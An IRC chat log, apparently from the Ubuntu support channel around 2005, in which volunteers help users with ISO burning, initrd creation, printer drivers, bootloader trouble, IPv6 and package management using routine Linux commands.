[02:22] <SymGeosis> cafuego, besides I don't see that mentioned anywhere in the info page...
[02:22] <gurubie> Thanks all!
[02:22] <orospakr> hi! how can I get ubuntu to initialise a network bridge before configuring the interfaces? do I have to make my own initscript and set the priority?
[02:23] <Cylla> crube:mozilla-firefox-en-gb
[02:23] <gurubie> "sudo nvidia-glx-config enable" is what i was looking for. Thanks!
[02:23] <cafuego_> SymGeosis: insmod doesn't check module depends; it invariable gives MORE errors.
[02:25] <bob2> orospakr: man 5 interfaces
[02:25] <bob2> ip-preup or so
[02:25] <dell500> ok, i'm lost
[02:25] <SymGeosis> cafuego, I see.
[02:25] <bob2> dell500: you mailed the list?
[02:25] <crube> Cylla,  I think ( the package I have installed ) it should be just mozilla-firefox. I didn't have mozilla downloadable from package manager as default in kubuntu. I downloaded it from the mozilla website. If the command "mozilla-firefox" doesn't work, I really doubt you have mozilla installed
[02:26] <orospakr> bob2, danke
[02:28] <crube> Everything went quiet?
[02:29] <Cylla> crube: I think I found it.. I assumed it was installed by default.. at least it appeared to be.
[02:29] <cafuego_> sorry, i axe-murdered everyone
[02:29] <moparfan90> whats a good program for burning .iso image?
[02:29] <cafuego_> moparfan90: cdrecord, or right-click it in nautilus
[02:30] <anomaly> burncd :P
[02:30] <crube> Cylla,  what i had installed by default was the language pack, which I assume you had too
[02:30] <reiki> moparfan90: gnomebaker? nautilus? K3B?
[02:30] <cafuego_> burncd uses cdrecord
[02:30] <cafuego_> k3b does too
[02:30] <moparfan90> ok
[02:30] <Cylla> crube:thanks.. for some reason I figured that if they installed the language pack they would have installed the browser too.
[02:30] <IcemanV9> burncd > atapi cd; cdrecord > scsi cd ... right??
[02:30] <reiki> if I go to the Applications menu...system tools.. file browser... is that running nautilus?
[02:31] <cafuego_> IcemanV9: no
[02:31] <cafuego_> IcemanV9: burncd (afaik) is justa  shell on top of cdrecord. Virtually all X burning apps are.
[02:31] <cafuego_> cdrecord dev =/dev/hdc -v -eject -data foo.iso
[02:32] <_derek> can someone help me debug a breezy/X problem?
[02:32] <IcemanV9> interesting. ok. thks.
[02:32] <_derek> http://bugzilla.ubuntu.com/attachment.cgi?id=3446
[02:32] <bimberi> reiki: yes (help->about :) )
[02:32] <BockBilbo> im done
[02:32] <_derek> that is the error log, i get gnome crashing when loging in
[02:33] <BockBilbo> i need some testers before i  modify the wiki
[02:33] <DjKritical> Can I mount a bin file the same way that I would mount an iso file?
[02:33] <Hurga> mkinitrd doens't give me any output...
[02:33] <BockBilbo> can anyone help me trying out the installation script por open office.org beta 2?
[02:33] <BockBilbo> cafuego, could you take a look to the code?
[02:33] <reiki> bimberi: doh! I'm still forgetting to do obvious things occasionally... things I laugh at other people for... hehehe.... well then nautilus told me my machine was too slow to burn this iso... the one that gnomebaker is now burning
[02:34] <cafuego_> BockBilbo: Uh, installation script?
[02:34] <BockBilbo> cafuego, yes
[02:34] <cafuego_> BockBilbo: I just used the package, which works fine (breezy)
[02:34] <BockBilbo> mmm this script is for hoary
[02:34] <IcemanV9> there is an installation script for OOo2(latest version) in forums for hoary
[02:34] <BockBilbo> https://wiki.ubuntu.com/OpenOffice2Beta
[02:34] <HrdwrBoB> Hurga: works for me :)
[02:34] <BockBilbo> im upgrading the script on that wiki page
[02:34] <IcemanV9> ah. sorry. :)
[02:35] <bpuccio> don't know if this has been posted in chat already, but I just read this http://raphael.slinckx.net/blog/index.php/2005-08-31/the-wonders-of-pastebin  seems like it could be used a lot by people in here
[02:35] <Hurga> HrdwrBoB: mkinitrd -o /boot/initrd.img-2.6.13 2.6.13    but no initrd.
[02:35] <bimberi> reiki: hehe, /me misses the obvious frequently :)
[02:36] <SymGeosis> bpuccio, do you recognize the irony or your statement?
[02:36] <moparfan90> how do i know if its making the cd  iso image?
[02:36] <lJlolel> SymGeosis, lol
[02:37] <cafuego_> !tell bpuccio -about paste
[02:37] <bpuccio> err, I know about pastebin
[02:37] <moparfan90> how do i know if its making the cd  iso image?
[02:37] <crimsun> Hurga: breezy or hoary?
[02:37] <Hurga> hoary
[02:37] <bpuccio> this is a python script to avoid the web interface, thank you anyhow, cafuego
[02:37] <reiki> all in all this has been a great experiment. I haven't booted to Windows in about 2 weeks now. And I can accomplish nearly anything in Ubuntu that I could in WinXP. Although I WILL have to take some time to get used to Gimp as a replacement for PhotoShop. Otherwise... I think this is a permanent change for the better.
[02:38] <cafuego_> Hurga: Why would you make an initrd on a self-compiled kernel?
[02:38] <lJlolel> reiki, congratulations!
[02:38] <reiki> thanks! :)
[02:38] <bimberi> bpuccio: ha, the author of the "one response" is an op in this channel :)
[02:38] <Hurga> cafuego: Because I didn't want to compile everything in?
[02:39] <dvl> gidday.
[02:39] <bpuccio> ah, that I did not know, bimberi, I just read it in my RSS reader and thought that the chat might find it useful
[02:39] <bimberi> bpuccio: ... which was good thinking IMO :)
[02:40] <CarlFK> !tell me -about paste
[02:40] <bimberi> bpuccio: on your part
[02:40] <bpuccio> I recognize the name on the blog from the mailing lists, but did not know he was active in the IRC channel
[02:41] <CarlFK> bimberi - thanks.  I have been wanting something like that
[02:41] <crube> Where n Gnome can I change my power settings. For example the tim before my scren shuts down etc.
[02:41] <crimsun> Hurga: did you list the modules necessary in /etc/mkinitrd/modules ?
[02:41] <Hurga> crimsun: Yes.
[02:41] <CarlFK> er, whoever posted the paset bin paster util url
[02:41] <NoUse> crube thats done in the screen saver setup
[02:42] <crimsun> Hurga: did you modify /etc/mkinitrd/mkinitrd.conf ?
[02:42] <crube> ok
[02:42] <Hurga> crimsun: No. Do I need to?
[02:42] <dvl> I'm pretty comfortable on Debian using apt-get etc. From what I'm reading, I can use apt-get on Ubuntu. Correct?
[02:42] <bimberi> CarlFK: your welcome, on behalf of whoever it was :P
[02:43] <bimberi> dvl: you betcha
[02:43] <crube> dvl,  yes
[02:43] <CarlFK> heh
[02:43] <dvl> bimberi/crube: sweet.
[02:43] <dvl> cheers
[02:43] !lilo:*! Hi all. We'll be converting some of the 200+-user servers in a moment.... we'll continue to hold off on the larger ones for now.
[02:44] <crube> Alright time to sleep ->
[02:44] <tod_kon> What command do I use to unpack a .deb file?
[02:45] <rebort> dpkg -i
[02:45] <tod_kon> Thanks
[02:45] <Hurga> crimsun: hello?
[02:45] <nalioth> tod_kon: better to use synaptic and not have to touch nasty ol' deb files
[02:45] <rebort> can anyone help me with gnome hanging at login, as described at http://ubuntuforums.org/showthread.php?t=60286&page=1
[02:46] <NeoFax> Is xpi installation turned off in Firefox for Ubuntu?
[02:46] <DjKritical> Can I mount a bin file the same way that I would mount an iso file?
[02:46] <tod_kon> nalioth: I like command line... GUI pisses me off a bit...
[02:46] <rebort> use apt-get then
[02:47] <tod_kon> I do
[02:47] <DjKritical> nalioth, you can use the command       line and still not touch deb filers :P
[02:47] <rebort> tod_kon: oh, ok
[02:47] <bob2> DjKritical: no, convert it to a useful format with bchunk
[02:47] !lilo:*! One server disconnected, one restarted.... 200 users disconnected, 80 users split.... all coming back.
[02:47] <NoUse> tod_kon what are you installing via solo deb then?
[02:47] <crimsun> Hurga: you shouldn't have to.
[02:48] <crimsun> Hurga: what are the contents of /lib/modules/2.6.13/initrd/ ?
[02:48] <gurubie> Alright! DRI in working with my NVidia and Breezy (ubutu updated but not universe updated). Now I want to install TORCS (realistic 3D car racing) that I enjoyed on Mepis. This is what I get "torcs:
[02:48] <gurubie>  Depends: plib1.8.3  but it is not installable". Can it be fixed. What's the problem?
[02:48] <TylerE> NoUse: Well, one example *I* can give is the Opera browser. They supply ubuntu .debs
[02:48] <NoUse> TylerE ah
[02:48] <Hurga> crimsun: There's no initrd directory under /lib/modules/2.6.13
[02:48] <lJlolel> and also provide free registration codes today
[02:49] <omaru> sakamoto, #ubuntu-es
[02:49] <bob2> gurubie: the problem is you are using breezy
[02:50] <bob2> gurubie: it's under development, things will become installable.  the fix is to get plib.1.83 into the archive
[02:50] <Signia> hy
[02:50] <Signia> hey *
[02:50] <BockBilbo> cafuego, could you take a look to the code of the script and tell me if its ok?
[02:50] <BockBilbo> http://www.goikoetxeta.com/OOo2-beta2-install.sh
[02:50] <crimsun> Hurga: take a look at mkinitrd's man page, then. You can either script the appropriate modules to be copied over using /usr/share/initrd-tools/scripts/$foo, or put a copy of the modules in /lib/modules/$(uname -r)/initrd/
[02:51] <Signia> can anyone help me mounting my hda1 on ubuntu live-cd?
[02:51] <tod_kon> rebort: I just don't use it I need a .deb that's not in the respiratory... such as the current case :P
[02:51] <bob2> sudo mount -t whatever /dev/hda1 /mnt
[02:51] <tod_kon> NoUse: Yup
[02:52] <Signia> yeah bob i tried that and got  sudo mount -t whatever /dev/hda1 /mnt
[02:52] <Signia> its ntfs
[02:52] <Signia> wait
[02:52] <gurubie> bob2, So you are saying reinstall Hoary? Does anyone care to extrapolate on why this is and if there"s a remedy that would alow me to stay with Breezy?
[02:52] <Signia> i tried that yeah and got mount: special device /def/hda1 does not exist
[02:53] <bob2> gurubie: I'm saying, "You're using the development version of ubuntu, shit will break like this.  The fix is for someone to upload that package so torcs will be installable."
[02:53] <Hurga> crimsun: I'm used to Suse and RedHat. They both have mkinitrd which doesn't need any of this. Are you sure it really is that complicated? And why do I have to lst the modules in one file and aditionally copy them somewhere? And why does mkinitrd fail silently?
[02:53] <titaniumone> i got the latest bittorrent command line client with apt-get install bittorrent (i don't think i want to use bittornado, this system sucks pretty bad). i can't figure out how to invoke it though
[02:53] <tod_kon> dpkg is "locked by another process"... It could be more specific... don't you think?
[02:53] <bob2> tod_kon: how?  you have another package management tool open, close it.
[02:53] <nalioth> tod_kon: you can only have one instance of apt or dpkg running at once
[02:54] <bob2> titaniumone: just use bittornado, it has the same ui as bittorrent
[02:54] <bob2> titaniumone: btdownloadcurse blah.torrent
[02:54] <tod_kon> Oh haha
[02:54] <titaniumone> bob2, oh ok. i didnt realize tornado was ncurses, i thought it was going to be gtk
[02:54] <crimsun> Hurga: the man page says that just listing the modules in /etc/mkinitrd/modules does NOT guarantee they'll be included in the initrd image
[02:55] <ax> question here: I just updated my girlfriend's packages and now when i reboot i get this error: invalid compressed format, and i cannot boot
[02:55] <bob2> titaniumone: probably has one too, it's crap tho
[02:55] <BockBilbo> can someone tell me if i should rewrite that wiki page?
[02:55] <Hurga> crimsun: I don't get ANY initrd image currently.
[02:55] <ax> so you know she is dual booting and for some reason ubuntu used lilo instead of grub
[02:55] <titaniumone> bob2, i assume there is a way to configure stuff like max connections etc? azureus crashes my router on windows if i don't have a max set for connections
[02:55] <ax> any suggestions for ways to make her box usable again?
[02:55] <bob2> titaniumone: of course
[02:55] <crimsun> Hurga: I understand that
[02:56] <bob2> ax: it's extraorindarily unlikely that "ubuntu used lilo instead of grub"; lilo is not on the install CD
[02:56] <crimsun> Hurga: that's why I referred you to some additional gotchas that have plagued people
[02:56] <gurubie> bob2, Thanks. So it is indeed as Breezy vs. Hoary lib change then? I was not sure. How can I check the status of this new lib package being updated. (besides asking Torcs dev). Is there a perferred  Brezzy dev site?
[02:56] <ax> well that is what happened, i used an ubuntu install cd and she has lilo
[02:56] <lJlolel> bob2, that's weird, i installed lilo on the other cd
[02:56] <ax> either way i don't think it is lilo's fault
[02:57] <tod_kon> Later... Thanks for the help
[02:57] <bob2> I can't even imagine how that could happen with a default install
[02:57] <lJlolel> bob2, expert install
[02:57] <jbloudg20> one quick, stupid question... how do I change my window switcher to show the windows on all desktops instead of just the current one? I had it yesterday, but I forgot how I did it
[02:57] <ax> it seems that the kernel image compression must not be recongnized, but i'm wondering what i can do to fix this
[02:57] <bob2> gurubie: no, it's not anythign to do with hoary vs breezy
[02:57] <bob2> gurubie: and it has nothing to do with any torcs developers at all
[02:57] !lilo:*! Another server upgraded, about 240 users affected.
[02:58] <Hurga> crimsun: automatic creation of an initrd when I install a kernel package works fine. can it possibly be THAT broken that nothing works anymore when I ty it manually?
[02:58] <bob2> gurubie: the plib package needs to be in breezy or else torcs dependency's can't be satisfied.  if you want it there, get on #ubuntu-motu and help.
[02:59] <crimsun> Hurga: more than likely you're not using a config option/patch that Ubuntu includes
[02:59] <crimsun> Hurga: sorry, I need to cut out now
[03:00] <ohphracku> oh look its bob2 thanx for that abuse the other night. :] 
[03:00] <omaru> Does anyone knows how to re-install ubuntu without formatting?
[03:00] <Hurga> crimsun: well ok, thanks, trying to copy the modules over.
[03:00] <bob2> omaru: it would be easier to help you if you told us what you're trying to acheive
[03:01] <gurubie> bob2, So it (TORCS) will not probably work with Hoary and thus a new install of Hoary will not help me solve this problem either?
[03:01] <bob2> where did I imply that?
[03:01] <bob2> if you don't know how apt and packages work, using breezy is a terrible idea
[03:02] <bob2> torcs in hoary appear to be installable
[03:02] <hmrocha> bob2, breezy is working fine now :)
[03:02] <bob2> so, yes, using hoary would fix this problem for you
[03:04] <omaru> bob2, installed KDE on my linuxbox, but now gnome can't start the error says "gnome-daemon-settings has close unexpectedly" and then I can't work
[03:04] <bob2> so
[03:04] <_derek> is there a way to list packages based on dependencies
[03:04] <bob2> in future, ask how to fix that
[03:04] <bob2> asking people how to reinstall for such a trivial problem is silly
[03:04] <bob2> _derek: elaborate...
[03:04] <bob2> omaru: does it affect other users?
[03:05] <omaru> bob2, nah, only me
[03:05] <_derek> bob2: for example, if i wanted to do a dpkg -l, but only list packages that depend on abc.deb
[03:05] <_derek> how could i do that
[03:05] <bob2> omaru: then how would reinstalling help at all?
[03:05] <CarlFK> _derek - my crystal ball says http://packages.ubuntu.com
[03:05] <bob2> _derek: apt-cache showpkg abc
[03:05] <omaru> bob2, dunno was the first thing I thinked in
[03:05] <bob2> omaru: you need to get out of that mindset
[03:05] <lunitik> bob2: showpkg?
[03:05] <_derek> CarlFK, bob2, sorry i meant installed packages
[03:05] <bob2> lunitik: yes
[03:06] <bob2> _derek: then filter it later
[03:06] <bob2> dpkg cares little about dependencies of installed packages
[03:06] <gurubie> bob2 OK sorry, I was mistaken. So you definately recomend I install to Hoary, in order to get TORCS working and not even attempting to update Breezy unless the plib pacakge is released for Breezy?
[03:06] <lJlolel> breezy is a much better name than hoary
[03:06] <CarlFK> bob2 - my modem isnt working.  can you help me build a new one?
[03:06] <_derek> bob2: thats exactly what i need, thanks
[03:06] <omaru> bob2, ok, I said i'm sorry.. can you help me? :(
[03:06] <bob2> gurubie: no, just don't use it until it's released or mdz or jdub ask for user testing in a month or so
[03:06] <bob2> gurubie: report a bug on launchpad.net
[03:07] <bob2> begging is highly irritating
[03:07] <lunitik> bob2: ahh... never knew about that... thanks  :)
[03:07] <bob2> omaru: mkdir ~/old ; mv ~/.gnome* ~/old
[03:07] <bob2> omaru: log out, in again
[03:07] !lilo:*! IPv6 server restarted, about 220 people affected
[03:08] <gurubie> bob2, OK, thanks. ,,,going to lauchpad.net
[03:08] <NoUse> why is there launchpad.net and bugzilla.ubuntu.com ?
[03:08] <bob2> because launchpad didn't exist when ubuntu started
[03:08] <bob2> and ubuntu needed some sort of bug tarcker
[03:08] <bob2> so they chose bugzilla
[03:08] <bob2> launchpad still isn't finished, so some stuff still uses bugzilla
[03:09] <NoUse> bob2 seems inefficient to have QA stuff fragmented like that
[03:09] <CarlFK> better add that bugzilla bugs a lot of people
[03:09] <bob2> yes, I hate it
[03:09] <BockBilbo> Ive just upgraded the openoffice2 beta installation script from https://wiki.ubuntu.com/OpenOffice2Beta, in a way that i dont know if it will work in future snapshots.  Ccould anyone tell me what to do? should i replace the existing wiki page or make a new one?
[03:09] <bob2> NoUse: indeed, hence why everything used bugzilla for the first 9 months
[03:10] <ProN00b> hmm is ipv6 enabled on ubuntu by default ?
[03:10] <bob2> define "enabled"
[03:10] <lunitik> gurubie: some Conanonical developers have been working on Launchpad for a while... it is supposed to be able to keep in sync with upstream bugs etc... Mark has been doing talks about it for a while (see stuff at aKadamy for instance)
[03:10] <CarlFK> ProN00b loolk like PorNoob
[03:10] <bob2> interfaces will have link-local ipv6 addresses
[03:11] <bob2> but no global routing or anything is setup
[03:11] <lunitik> gurubie: Canonical are working on a few cool little things like that... aiming at making development easier  ;)
[03:11] <eruin> baz
[03:11] <gonti> hi, i have a problem. I am installing Hoary on my notebook, but I need to install Lilo instead of Grub. Is it possible to do this by automatic installation (not expert mode) ?
[03:11] <eruin> baz gives me wet dreams
[03:11] <gonti> Grub completely doesn't work
[03:12] <bob2> except baz is slow and the codebase is crufty
[03:12] <omaru> thanks for helping bob2
[03:12] <CarlFK> gonti - fixing grub will probably be easier
[03:12] <bob2> after 6 months hacking on it, I still hate it
[03:12] <bob2> gonti: why do you need to?
[03:12] !lilo:*! Two servers upgraded; about 460 users affected total.
[03:12] <ProN00b> bob2, i want to make ipv6 working for my ppp0 (pppoe), at the moment it doesn't show any inet6 addr in ifconfig, do you know any resources that could help me ?
[03:13] <bob2> wtf
[03:13] <bob2> your ISP actually gives you native ipv6?
[03:13] <gonti> CarlFK - but it doesn't boot
[03:13] <gonti> ;] 
[03:13] <CarlFK> gadz... Noobs are working with IPv6 and I can't even get a dial up connction ;)
[03:13] <bob2> gonti: doesn't boot?
[03:13] <gonti> "hard disk error" or something like that...
[03:13] !lilo:*! We're going to do a couple of 450-user servers now. Apologies for the noise level.
[03:14] <ProN00b> bob2, how do i find out weather it gives me ipv6 natively ?
[03:14] <CarlFK> gonti - if "it" that doesn't boot is grub, then either gurb is in the wrong place, or your hardware is broke
[03:14] <ompaul> whats this then? inet6 addr: fe80::204:5aff:fe75:c8ee/64 Scope:Link
[03:14] <gusto5> hi everyone
[03:14] <bob2> ProN00b: if you did, you would know
[03:14] <ompaul> its only a little hop to the router :)
[03:14] <CarlFK> gonti - you need to run grub or something like a solution to your problem
[03:14] <eruin> -bliss
[03:14] <bob2> omaru: a link-local address; if you plug two ubuntu machines together, they should be able to talk over ipv6
[03:14] <gonti> I tried on MBR and linux partition, but always "hdd error"
[03:14] <ProN00b> why, bob2, and how can i get it non natively ?
[03:14] <bob2> wtf
[03:14] <bob2> "why" is not a question
[03:15] <gusto5> i have a question about how to setup my okidata OL 600e laser printer
[03:15] <ProN00b> why would i know ?
[03:15] <bob2> ProN00b: ask your isp
[03:15] <bob2> blah, nevermind
[03:15] <_lui_> hello people!!
[03:15] <bob2> ProN00b: freenet6 is what you want, anyway
[03:15] <_derek> bob2: what would an app need tcp/to use the /tmp folder for (trying to figure out which it is)
[03:16] <CarlFK> gonti -  "hdd error" or "HD error"?
[03:16] <gonti> CarlFK rather HD (but i'm not sure)
[03:17] <CarlFK> when you are sure, post.
[03:17] <CarlFK> unless you want us to guess at the solution...
[03:17] <eruin> damnit, I long for gtk 2.8.3
[03:17] <gonti> ok, my friends says he's sure ;] 
[03:17] <gonti> HD error
[03:17] <CarlFK> I'll ask my friend for an answer... ;)
[03:18] <gonti> ::>
[03:18] <CarlFK> gonti - sounds like your drive is failing
[03:18] <CarlFK> gonti - how long ago did you install Ubuntu?
[03:18] <ompaul> bob2, have you seen the ORA IPV6 book?
[03:19] <gonti> my drive works on windows and Suse, but on ubuntu it isn't so automatic ;] 
[03:19] <gonti> i'm installing it now ;] 
[03:19] <gonti> on notebook
[03:20] <gonti> huh?:)
[03:21] <CarlFK> so 2 days ago?
[03:21] <ProN00b> bob2, so i just run their strange tool, and i can connect to their gateway ?
[03:21] <gonti> i'm installing it now
[03:22] <arbir> hello
[03:22] <kairu0> anyone had a problem with xine/totem color? in all my video files i'm getting an ugly display thats maybe 16 color or something
[03:22] <CarlFK> so how can you be having a problem?
[03:22] <arbir> my wireless connection keeps dropping... and i have to reboot to get it working again
[03:22] <gonti> CarlFK: when I chose expert mode and Lilo, i had "loading linux ..........................." and nothing else ;] 
[03:22] !lilo:*! Had to do one of those twice. Apologies.
[03:23] <gonti> and when i chose grub, i had HD error
[03:23] <arbir> i ran a ping in the background and i got a weird message when the network connection dropped
[03:23] <CarlFK> gonti - so don't choose the expert mode and lilo.  basic and grub work.
[03:23] <arbir> ping: sendmsg: No buffer space available
[03:23] <gonti> it doesn't work ;/
[03:23] <CarlFK> bob2 - I think the problem with my modem is: I just orrded it and it hasn't arived yet.
[03:24] <CarlFK> gonti - of course not, it isn't done installing.
[03:24] <arbir> cant drop connection any time
[03:24] <arbir> :-(
[03:25] <gusto5> hi, how do i use a .ppd file for a printer?
[03:25] <HrdwrBoB> gusto5: loaded question
[03:25] <ohphracku> arbir y do  "have to reboot"?
[03:25] <HrdwrBoB> gusto5: what printer
[03:25] <gusto5> okidata 600e
[03:25] <HrdwrBoB> gusto5: it's actually in the printer wizard in any case
[03:25] <HrdwrBoB> assuming your printer isn't listed
[03:25] <HrdwrBoB> there's a load driver option
[03:25] <gonti> CarlFK - I tried 5 times... on MBR, on linux partition, with starting flags on different partition, always with no results
[03:26] <gusto5> there is?
[03:26] !lilo:*! The remaining servers and hubs will make a lot of noise. We'll do them in about 2.5-3.5 hours.
[03:26] <gusto5> HrdwrBoB, i cant find this printer wizard
[03:27] <HrdwrBoB> gusto5: it's secretly hidden in system->administration-> printing
[03:27] <HrdwrBoB> add new printer
[03:27] <gusto5> yes...and then?
[03:27] <CarlFK> gonti - do the default install, get an error, post it.  that is the easy way to attack this.
[03:28] <NeoFax> I have tried setting up JAVA 1.5 in breezy, but it just doesn't work.  It does not replace 1.4.2.  Anyone know how to get it to work?
[03:28] <bimberi> gusto5: at Step 2 of 2 there is a "Install Driver" button ...
[03:28] <gonti> okey, i'm trying again
[03:28] <gusto5> ok, but what do i choose for step one bimberi
[03:29] <bimberi> gusto5: how is the printer connected?
[03:29] <gusto5> printer port
[03:29] <CarlFK> gusto5 - do you have the URL of the printer's specs?
[03:30] <gusto5> no, i dont, but i shal go find
[03:30] <BockBilbo> ok, im going to bed
[03:30] <sakamoto> how can i reinstall ubuntu? because i can rune gnome session it sendme an error message about genome-settings daemon.
[03:30] <BockBilbo> this is the new page: https://wiki.ubuntu.com/OpenOffice2Beta
[03:30] <bimberi> gusto5: Local printer, specify Parallel Port #1
[03:31] <bimberi> gusto5: if "printer port" is the parallel port
[03:32] <gusto5> ok bimberi
[03:32] <gusto5> im attempting a test print now
[03:33] <gusto5> im using that port that has the printer pic on it
[03:34] <bimberi> gusto5: yeah, that's usually the parallel port
[03:34] <gusto5> ok bimberi
[03:34] <gusto5> what the...
[03:35] <gusto5> bimberi, my printer light indicator says there is a task, but it doesnt sem to be printing anything
[03:35] <_derek>   is anyone here runnning breezy?
[03:35] <_derek> with gnome/gdm not kde/kdm?
[03:36] <_derek> and wants to help me out (no linux experience really necessary!)
[03:37] <gusto5> bimberi, still flashing "printing" but not actually printing hehehehe
[03:38] <TylerE> _derek: what's the issue?
[03:39] <_derek> TylerE: i just want someone to restart their comp, login to gnome via gdm , not open any programs, do a "ps aux > psaux.txt" and email it to me to help me debug which package is messing up
[03:39] <bimberi> gusto5: welcome to the occasionally frustrating world of linux printing :|
[03:39] <bimberi> gusto5: did you install your own PPD file?
[03:40] <gusto5> bimberi, yes i installed my own ppd file
[03:40] <gusto5> no
[03:40] <gusto5> i installed the one from linuxprinting
[03:40] <bimberi> gusto5: that should be ok but anyway you could try the available driver - set up another printer and at step 2, hilight okidata and select your model
[03:41] <bimberi> gusto5: er, not hilight, select (next to manufacturer)
[03:41] <frank23> I'm registered now but how do I get konversation to log me in with my password?
[03:42] <gusto5> yea...ive setup another one
[03:42] <gusto5> now it actually says "printing 1 jobs"
[03:43] <gusto5> but its still not actually printing :D
[03:43] <BockBilbo> byeee
[03:43] <gusto5> ok...
[03:43] <gusto5> now it "finished printing" according to ubuntu
[03:43] <gusto5> lol
[03:44] <gonti> CarlFK: are u still there?
[03:44] <bimberi> gusto5: well - ubuntu is definitive and reality is wrong :)
[03:44] <gonti> CarlFK: r U still there?
[03:44] <gusto5> lol....
[03:45] <gusto5> i see what they mean by linux and printing now :S
[03:45] <bimberi> gusto5: sorry, i can't help much more. Others (or google) might tho
[03:45] <gonti> CarlFK: "install the grub boot loader to the master boot record"?
[03:45] <pestilence> is there any recommendations for webcams?  something that would work well as a motion detector/security?
[03:45] <gusto5> thanks for trying, bimberi
[03:45] <bimberi> gusto5: yw :)
[03:46] <gonti>  CarlFK: "install the grub boot loader to the master boot record"? ;)
[03:46] <gusto5> bimberi, im just gonna change the paper source around and see what happens
[03:47] <bimberi> gusto5: that's the way, keep experimenting, there's always something else to try
[03:47] <ompaul> gusto5, what kind of printer?
[03:47] <gusto5> hehe...linuxprinting.org says "it works perfectly"
[03:47] <gusto5> Okidata OL 600e
[03:48] <gusto5> and hello to you too, paul
[03:50] <ompaul> me broke me ubuntu
[03:50] <stoeptegel> umode +CE
[03:51] <nalioth> ompaul: need a big hammer to fix it?
[03:51] <_derek> anyone have epiphany installed on breezy?
[03:52] <SymGeosis> For those of you who haven't heard, there is now, for a limited time, free Opera registration. Yay!
[03:52] <ompaul> nalioth, na I think its apt-get some interesting packages
[03:52] <ompaul> nalioth, no I don't think I know
[03:53] <DewDude> will KDE install under ubuntu?
[03:53] <ompaul> right server install and all that followed by rebuild it a little smarted
[03:53] <ompaul> DewDude, apt-get intall kubuntu-desktop
[03:53] <DewDude> like...will having gnome already here mess with KDE installation
[03:53] <stoeptegel> could someone tell me how i can show my LAN ip adres in konsole?
[03:53] <DewDude> ooh
[03:53] <_derek> DewDude: it should be fine
[03:53] <DewDude> ok
[03:53] <bimberi> DewDude: i've got both coexisting happily
[03:54] <DewDude> see, i got an 400mhz g3 iMac
[03:54] <bimberi> DewDude: er, on i386 that is :)
[03:54] <gusto5> ooo...sympatico :)
[03:54] <DewDude> and i started with gentoo..but i'm having video issues...however someone from a mac channel said ubuntu supported the iMac hardware nicely
[03:55] <vader1102> it does
[03:55] <vader1102> I have it runnning on an IMAC where I volunteer
[03:55] <DewDude> plus someone told me it was probably going to take 2 days for KDE to install
[03:55] <DewDude> so..i'm like
[03:55] <DewDude> heh
[03:55] <DewDude> i need to try something that might install a bit faster
[03:56] <candlelight> stoeptegel: ifconfig
[03:56] <vader1102> "default" went seamlessly
[03:56] <DewDude> i'm waiting for the ISO to download
[03:56] <DewDude> still...so..i shall return when it's burned and the install is going
[03:57] <candlelight> dewdude: can try GRP if don't want to compile fro gentoo
[03:57] <vader1102> DewDude, are you using FTP or HTTP?
[03:57] <stoeptegel> candlelight: THNX you rule!
[03:57] <bimberi> DewDude: are you installing the kubuntu ISO? (ubuntu w/ kde)
[03:58] <bimberi> s/installing/downloading/
[03:58] <vader1102> DewDude, listen to bimberi he know "a lot"
[03:58] <abarbaccia> hey under my places menu, somehow a folder called cdrom showed up under Home and Desktop and i want it to disappear - anybody know how to get rid of it?
[03:59] <bimberi> vader1102: steady on :)
[03:59] <_derek> are all packages that begin with gnome-* in main?
[03:59] <dducko> abarbaccia I put one there useing the archiver
[03:59] <vader1102> bimberi, I try and am learning
[03:59] <dducko> you can remove it there probally
[03:59] <dug___> anyone tried breezy on a recent dell desktop or desktop with sata drives?
[03:59] <vader1102> brb
[04:00] <DewDude> there's a kubuntu iso?
[04:00] <vader1102> DewDude,  yes
[04:00] <bimberi> DewDude: http://releases.ubuntu.com/kubuntu/hoary/
[04:00] <gonti> is it possible to install ubuntu with lilo on automatic mode ??
[04:00] <HrdwrBoB> why do you want lilo
[04:00] <HrdwrBoB> ubuntu uses grub
[04:00] <HrdwrBoB> and what do you mean 'automatic mode'
[04:01] <gonti> not expert and even server mode
[04:01] <gonti> but standard mode ;] 
[04:01] <HrdwrBoB> oh
[04:01] <HrdwrBoB> no
[04:01] <HrdwrBoB> why?
[04:01] <HrdwrBoB> a standard user doesn't care
[04:01] <HrdwrBoB> they don't need to know what bootloader they usr
[04:01] <HrdwrBoB> use
[04:02] <gonti> because my grub does't work
[04:02] <gonti> it doesn't boot the system
[04:02] <gonti> maybe lilo will work
[04:02] <HrdwrBoB> well, would you like some assistance with getting grub to work?
[04:02] <aru> can ubuntu be made to login a user automaticly when the system is booted?
[04:02] <candlelight> gonti: i thought if during installation grub failed to install, you can select lilo from the menu?
[04:03] <bimberi> aru: yes
[04:03] <HrdwrBoB> aru: yes
[04:03] <bimberi> aru: system -> admin -> login screen setup
[04:03] <gonti> yes, I do ;)
[04:03] <aru> alrighty, thanks
[04:03] <vader1102> !botsnack
[04:03] <ubotu> :)
[04:04] <titaniumone> i can't get btdownloadcurses working; it just sits at 'connecting to peers'. i am behind a firewall, but i forwarded ports 6881 - 6889. is there anything else i need to do?
[04:05] <gonti> ??
[04:05] <DewDude> well
[04:05] <DewDude> i've got half this regular ISO already
[04:05] <DewDude> and my connection isn't all that fast
[04:05] <vader1102> !wine
[04:06] <DewDude> so i'll probably install the normal ISO and apt-get kubuntu-desktop
[04:06] <bimberi> DewDude: I'm sure you'll fall in love with ubuntu's gnome config anyway :)
[04:07] <gonti> i see no idea
[04:07] <robotgeek> titaniumone: did u use the  --forwarded_port 6991 option?
[04:07] <gonti> the longest instalation in history: 5h'
[04:07] <gonti> ;] 
[04:07] <gonti> (as far)
[04:08] <pudland_> i created a folder and its locked, how to i change permission?
[04:08] <gonti> pudland_: install mc
[04:08] <pudland_> mc?
[04:08] <gonti> and there u can change permissions
[04:08] <gonti> midnight commander
[04:08] <gonti> or in console chmod
[04:08] <pudland_> apt-get?
[04:08] <HrdwrBoB> erm
[04:09] <ksmurf> !breezy
[04:09] <ubotu> rumour has it, breezy is the next version of Ubuntu (5.10); released October 2005. It hasn't reached stable-status, so it can still be broken. A pictorial view of differences between Hoary & Breezy: http://members.home.nl/jeroen-91/ubuntu/breezy-new/
[04:09] <HrdwrBoB> you can right click on it
[04:09] <HrdwrBoB> and select properties
[04:09] <gonti> pudland_:  firtly apt-get it
[04:09] <gonti> then use;p
[04:09] <gonti> firstly*
[04:09] <candlelight> pudland: chmod
[04:09] <bimberi> pudland_:  you don't need mc for that, try HrdwrBoB's advice first
[04:09] <gonti> type "man chmod" :)
